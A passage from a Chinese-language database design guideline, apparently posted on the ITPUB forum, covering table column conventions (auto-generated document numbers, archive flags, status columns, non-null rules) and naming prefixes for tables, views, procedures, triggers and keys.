2. 记录单据的表中设置“自动单据号”，由两个字符开始以区分单据类型，后跟一数

字序列表示序号。‘自动单据号’由系统自动生成，作为主表的主键，不允许用户修改。

当有对应的纸质单据时，设置“单据号”用于记录纸质单据的单据号。
3. 明细表中设有行序号，自动记录行的录入顺序。
4. 设置“存档标记”列，用于抽取数据到决策数据库时的更新标记。插入新行或修改

已有行时设置该标记；数据抽取后清除该标记。
5. 对于用于查询过滤条件的列，不可为空，以免行“丢失”。
6. 对于数值列，不可为空，“0”作为默认值。
7. 对于必要的“冗余”列，如客户名称，应有相应的程序保持各“冗余”列的同一性

，以免出现异议。
8. 设置“过程状态”列和“记录状态”列。过程状态列用于记录如创建、审核、记账

、冲红等状态；记录状态用于记录如有效、删除等状态。

5 数据库命名原则

5.1 表名

. 业务数据表：t_d_<系统标识>_<表标识>。
. 基本编码表：t_b_[<系统标识>]_<表标识>。
. 辅助编码表：t_a_[<系统标识>]_<表标识>。
. 系统信息表：t_s_[<系统标识>]_<表标识>。
. 累计数据表：t_t_<系统标识>_<表标识>。
. 结算数据表：t_c_<系统标识>_<表标识>。
. 决策数据表：t_w_<系统标识>_<表标识>。

5.2 视图

v_<视图类型>_[<系统标识>]_<视图标识>。视图类型参见《表的分类》。

5.3 存储过程

p_[<系统标识>]_<存储过程标识>

5.4 函数

f_[<系统标识>]_<函数标识>

5.5 触发器

tr_<表名>_<i,u,d的任意组合> (after)
ti_<表名>_<i,u,d的任意组合> (instead)

5.6 自定义数据类型

ud_<自定义数据类型标识>_<数据类型>

5.7 Default

df_<Default标识>

5.8 Rule

ru_<Rule标识>

5.9 主键

pk_<表名>_<主键标识>

5.10 外键

fk_<表名>_<主表名>_<外键标识>

欢迎光临 ITPUB论坛－专业的IT技术社区 (http://www.itpub.net/) Powered by Discuz! X3.2